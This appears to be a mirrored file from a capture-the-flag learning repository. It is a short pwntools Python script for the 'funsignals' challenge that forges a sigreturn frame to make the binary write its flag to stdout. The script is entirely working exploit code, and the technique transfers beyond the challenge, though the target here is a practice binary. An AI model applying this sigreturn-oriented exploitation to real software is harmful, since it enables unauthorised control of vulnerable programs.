mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-03-13 00:17:33 +07:00
19 lines
412 B
Python
19 lines
412 B
Python
from pwn import *
|
|
|
|
elf = ELF('./funsignals_player_bin')
|
|
io = process('./funsignals_player_bin')
|
|
# io = remote('hack.bckdr.in', 9034)
|
|
|
|
context.clear()
|
|
context.arch = "amd64"
|
|
|
|
# Creating a custom frame
|
|
frame = SigreturnFrame()
|
|
frame.rax = constants.SYS_write
|
|
frame.rdi = constants.STDOUT_FILENO
|
|
frame.rsi = elf.symbols['flag']
|
|
frame.rdx = 50
|
|
frame.rip = elf.symbols['syscall']
|
|
|
|
io.send(str(frame))
|
|
io.interactive() |